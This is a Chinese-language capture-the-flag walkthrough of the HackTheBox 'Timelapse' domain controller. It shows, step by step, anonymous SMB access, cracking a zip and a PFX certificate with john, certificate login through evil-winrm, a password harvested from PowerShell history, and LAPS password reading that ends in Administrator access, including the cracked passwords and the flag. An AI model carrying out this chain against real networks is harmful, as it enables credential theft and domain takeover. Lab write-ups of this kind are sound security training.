HTB Timelapse
先nmap
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-02-14 15:35:13Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ldapssl?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
3269/tcp open globalcatLDAPssl?
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49694/tcp open msrpc Microsoft Windows RPC
50976/tcp open msrpc Microsoft Windows RPC
从端口上看,应该是DC了,开了smb,先看看
# smbclient -L //10.129.248.148
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Shares Disk
SYSVOL Disk Logon server share 试一下匿名访问,发现Shares下有压缩包
# smbclient -N //10.129.248.148/Shares
smb: \> ls
. D 0 Mon Oct 25 10:39:15 2021
.. D 0 Mon Oct 25 10:39:15 2021
Dev D 0 Mon Oct 25 14:40:06 2021
HelpDesk D 0 Mon Oct 25 10:48:42 2021
6367231 blocks of size 4096. 1341632 blocks available
smb: \> cd Dev
smb: \Dev\> ls
. D 0 Mon Oct 25 14:40:06 2021
.. D 0 Mon Oct 25 14:40:06 2021
winrm_backup.zip A 2611 Mon Oct 25 10:46:42 2021
6367231 blocks of size 4096. 1341632 blocks available下载下来解压看看,发现需要密码,尝试破解
# zip2john winrm_backup.zip > hash.txt
ver 2.0 efh 5455 efh 7875 winrm_backup.zip/legacyy_dev_auth.pfx PKZIP Encr: TS_chk, cmplen=2405, decmplen=2555, crc=12EC5683 ts=72AA cs=72aa type=8
# john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
supremelegacy (winrm_backup.zip/legacyy_dev_auth.pfx)解压得到legacyy_dev_auth.pfx,访问还是需要密码,继续破解
# pfx2john legacyy_dev_auth.pfx > pfx_hash
# john --wordlist=/usr/share/wordlists/rockyou.txt pfx_hash
thuglegacy (legacyy_dev_auth.pfx) 转换证书格式,提取证书和私钥
openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out certificate.pem
openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out certificate.pem
openssl x509 -in certificate.pem -out certificate.crt
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -nodes -out pair.key
openssl rsa -in pair.key -out pri.key
openssl rsa -in pair.key -pubout -out pub.key连接
evil-winrm -S -k pri.key -c certificate.crt -i 10.129.248.148查看powershell历史记录发现内容
*Evil-WinRM* PS C:\Users\legacyy\Desktop> Get-Content C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit发现账号密码,看一下svc_deploy用户的信息
*Evil-WinRM* PS C:\Users\legacyy\Desktop> net user svc_deploy
<...>
Global Group memberships *LAPS_Readers *Domain Users发现是LAPS_Readers组成员,看名字应该能读取LAPS信息
# nxc ldap 10.129.248.148 -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -M laps
SMB 10.129.248.148 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
LDAP 10.129.248.148 389 DC01 [+] timelapse.htb\svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV
LAPS 10.129.248.148 389 DC01 [*] Getting LAPS Passwords
LAPS 10.129.248.148 389 DC01 Computer:DC01$ User: Password:M!b%0&9+kr$5e;Uc;JUR@4h$拿到密码,登录
evil-winrm -i 10.129.248.148 -u Administrator -p 'M!b%0&9+kr$5e;Uc;JUR@4h$' -S找到flag
*Evil-WinRM* PS C:\Users\TRX\Desktop> ls
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 2/14/2026 7:27 AM 34 root.txt
*Evil-WinRM* PS C:\Users\TRX\Desktop> type root.txt
d4fd28c0a225eba58f2b9ec3f841f7c9学到了密码爆破,history信息收集,LAPS_Readers读取密码等
许可协议:
CC BY 4.0